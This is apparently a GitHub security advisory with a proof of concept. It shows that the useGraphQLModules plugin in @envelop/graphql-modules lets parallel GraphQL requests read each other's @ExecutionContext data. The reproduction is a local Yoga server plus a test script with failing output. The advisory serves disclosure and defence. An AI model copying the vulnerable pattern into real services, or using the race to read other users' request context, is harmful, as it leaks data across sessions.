GHSA-h3hw-29fv-2x75: 
JavaScript vulnerability analysis and mitigation

Summary

Context race condition when using useGraphQLModules plugin

Details

Related to: https://github.com/graphql-hive/graphql-modules/security/advisories/GHSA-53wg-r69p-v3r7 When 2 or more parallel requests are made which trigger the same service, the context of the requests is mixed up in the service when the context is injected via @ExecutionContext() and graphql-modules are used in Yoga with useGraphQLModules(application). This issue was fixed in graphql-modules in 2.4.1 and 3.1.1 but using useGraphQLModules will bypass the async_hooks fix that was implemented.

PoC

Create the following package.json and run npm i

{
  "name": "poc",
  "scripts": {
    "compile": "tsc",
    "start": "npm run compile && node ./dist/src/index.js",
    "test": "npm run compile && node ./dist/test/bleedtest.js"
  },
  "dependencies": {
    "@envelop/graphql-modules": "^9.0.0",
    "graphql-yoga": "^5.0.0",
    "graphql": "^16.10.0",
    "graphql-modules": "3.1.1",
    "reflect-metadata": "0.2.1",
    "axios": "^1.8.4"
  },
  "devDependencies": {
    "@types/node": "^22.14.1",
    "typescript": "^5.8.3"
  }
}

Define the app entrypoint: src/index.ts

import { module } from "./module.js";
import { useGraphQLModules } from '@envelop/graphql-modules'
import { createApplication } from "graphql-modules";
import { createServer } from 'node:http'
import { randomUUID } from "node:crypto";
import { createYoga } from 'graphql-yoga';
const application = createApplication({
    modules: [module]
})
const yoga = createYoga({
    schema: application.schema,
    plugins: [useGraphQLModules(application)],
    context() {
        return {
            requestId: randomUUID(),
        }
    }
})
const server = createServer(yoga)
server.listen(4001, '127.0.0.1', undefined, () => {
    console.info(
        `[Server] Running on http://localhost:4001/graphql`
    )
})

Create the test module: src/module.ts

import { createModule, gql } from "graphql-modules";
import Service from "./service.js";
const typeDefs = gql`
    type Book {
        id1: String
        id2: String
    }
    type Query {
        books: [Book]
    }
`;
export const module = createModule({
    id: 'book-module',
    typeDefs: [typeDefs],
    providers: [Service],
    resolvers: {
        Query: {
            // return one empty book
            books: () => [{}],
        },
        Book: {
            // return the requestId from the context
            id1: async (_root, _args, { injector } ) => {
                return injector.get(Service).get();
            },
            // return the requestId from the context of the service 100 ms later
            id2: async (_root, _args, { injector } ) => {
                await new Promise(resolve => setTimeout(resolve, 100));
                return injector.get(Service).get()
            },
        }
    }
})

Add the Service that's to be injected src/service.ts

import { ExecutionContext, Injectable } from 'graphql-modules';
import 'reflect-metadata';
@Injectable()
export default class Service {
    @ExecutionContext()
    private context: ExecutionContext;
    get() {
        return this.context.requestId;
    }
}

Add the test case test/bleedtest.js

import axios from 'axios';
const url = 'http://localhost:4001/graphql';
const query = `query { books { id1 id2 } }`;
const makeGraphQLRequest = async () => {
    const response = await axios.post(url, { query });
    const book = response.data.data.books[0]
    if (book.id1 !== book.id2) {
        throw new Error(`wrong response with ids ${(book.id1)} and ${(book.id2)}`)
    }
}
const numberOfRequests = 2;
await Promise.all(Array.from(
    { length: numberOfRequests },
    makeGraphQLRequest,
));

Then run the server with npm run start in one terminal and the testcase in another with npm run test. The returned IDs should be identical as they are both read from the context within the same request. However, there is a mismatch:

❯ npm run test
> poc@1.0.0 test
> npm run compile && node ./dist/test/bleedtest.js
> poc@1.0.0 compile
> tsc
file://<redacted>/dist/test/bleedtest.js:8
        throw new Error(`wrong response with ids ${(book.id1)} and ${(book.id2)}`);
              ^
Error: wrong response with ids c2d83151-0922-4f25-a3e9-2f03acc1376a and e16c7335-0eaa-4386-b415-869ee4b05315
    at makeGraphQLRequest (file://<redacted>/dist/test/bleedtest.js:8:15)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async Promise.all (index 0)
    at async file://<redacted>/dist/test/bleedtest.js:12:1

Impact

Any application that uses useGraphQLModules from @envelop/graphql-modules along with services that inject the context using @ExecutionContext() from a singleton provider are at risk. The more traffic an application has, the higher the chance for parallel requests, the higher the risk.